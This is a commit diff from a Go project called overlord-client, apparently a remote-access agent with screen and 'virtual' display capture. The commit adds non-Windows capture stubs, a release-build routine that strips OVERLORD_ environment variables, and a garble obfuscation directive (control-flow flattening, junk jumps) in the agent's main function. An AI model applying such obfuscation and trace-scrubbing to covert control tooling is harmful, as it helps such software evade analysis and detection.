fix this other shit and improve building

This commit is contained in:
KingKDot
2026-07-12 15:34:31 -05:00
parent a42623aac5
commit 2f1298eead
9 changed files with 127 additions and 12 deletions
@@ -0,0 +1,17 @@
//go:build builder_release
package main
import (
"os"
"strings"
)
func sanitizeBuilderEnvironment() {
for _, entry := range os.Environ() {
name, _, ok := strings.Cut(entry, "=")
if ok && strings.HasPrefix(strings.ToUpper(name), "OVERLORD_") {
_ = os.Unsetenv(name)
}
}
}
@@ -0,0 +1,5 @@
//go:build !builder_release
package main
func sanitizeBuilderEnvironment() {}
@@ -2,7 +2,15 @@
package capture
import "image"
import (
"errors"
"image"
"time"
"overlord-client/cmd/agent/wire"
)
var errVirtualCaptureUnsupported = errors.New("virtual capture is only supported on Windows")
func InitializevirtualMode() error {
return nil
@@ -16,6 +24,28 @@ func VirtualMonitorCount() int {
return 0
}
func VirtualTryDirectH264Frame() (wire.Frame, time.Duration, time.Duration, bool, error) {
return wire.Frame{}, 0, 0, false, nil
}
func VirtualCaptureNormal() (*image.RGBA, error) {
return nil, errVirtualCaptureUnsupported
}
func VirtualCaptureDisplay() (*image.RGBA, error) {
return nil, errVirtualCaptureUnsupported
}
func VirtualCaptureGDI() (*image.RGBA, error) {
return nil, errVirtualCaptureUnsupported
}
func VirtualCaptureDisplayFallback() (*image.RGBA, error) {
return nil, errVirtualCaptureUnsupported
}
func VirtualResetDXGI() {}
func virtualCaptureDisplay() (*image.RGBA, error) {
return nil, nil
}
+1
View File
@@ -12,6 +12,7 @@ import (
func main() {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
sanitizeBuilderEnvironment()
installHardCrashReporter()
cfg := config.Load()